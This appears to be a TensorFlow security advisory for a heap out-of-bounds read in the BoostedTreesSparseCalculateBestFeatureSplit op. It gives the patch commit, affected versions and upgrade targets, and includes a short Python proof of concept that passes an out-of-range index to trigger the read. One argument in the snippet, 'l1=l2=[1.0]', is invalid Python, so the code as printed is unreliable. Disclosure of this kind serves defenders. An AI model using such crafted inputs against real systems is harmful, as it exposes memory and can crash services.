Heap OOB in boosted trees

Overview

Impact

An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit:

import tensorflow as tf

tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
  node_id_range=[0,10],
  stats_summary_indices=[[1, 2, 3, 0x1000000]],
  stats_summary_values=[1.0],
  stats_summary_shape=[1,1,1,1],
  l1=l2=[1.0],
  tree_complexity=[0.5],
  min_node_weight=[1.0],
  logits_dimension=3,
  split_type='inequality')                                                                                                                                                                                                                                                                

The implementation needs to validate that each value in stats_summary_indices is in range.

Patches

We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected packages

• tensorflow < 2.3.4
• tensorflow >= 2.4.0, < 2.4.3
• tensorflow >= 2.5.0, < 2.5.1
• tensorflow-cpu < 2.3.4
• tensorflow-cpu >= 2.4.0, < 2.4.3
• tensorflow-cpu >= 2.5.0, < 2.5.1
• tensorflow-gpu < 2.3.4
• tensorflow-gpu >= 2.4.0, < 2.4.3
• tensorflow-gpu >= 2.5.0, < 2.5.1

Remediation

Upgrade to a patched release:

• tensorflow 2.3.4
• tensorflow 2.4.3
• tensorflow 2.5.1
• tensorflow-cpu 2.3.4
• tensorflow-cpu 2.4.3
• tensorflow-cpu 2.5.1
• tensorflow-gpu 2.3.4
• tensorflow-gpu 2.4.3
• tensorflow-gpu 2.5.1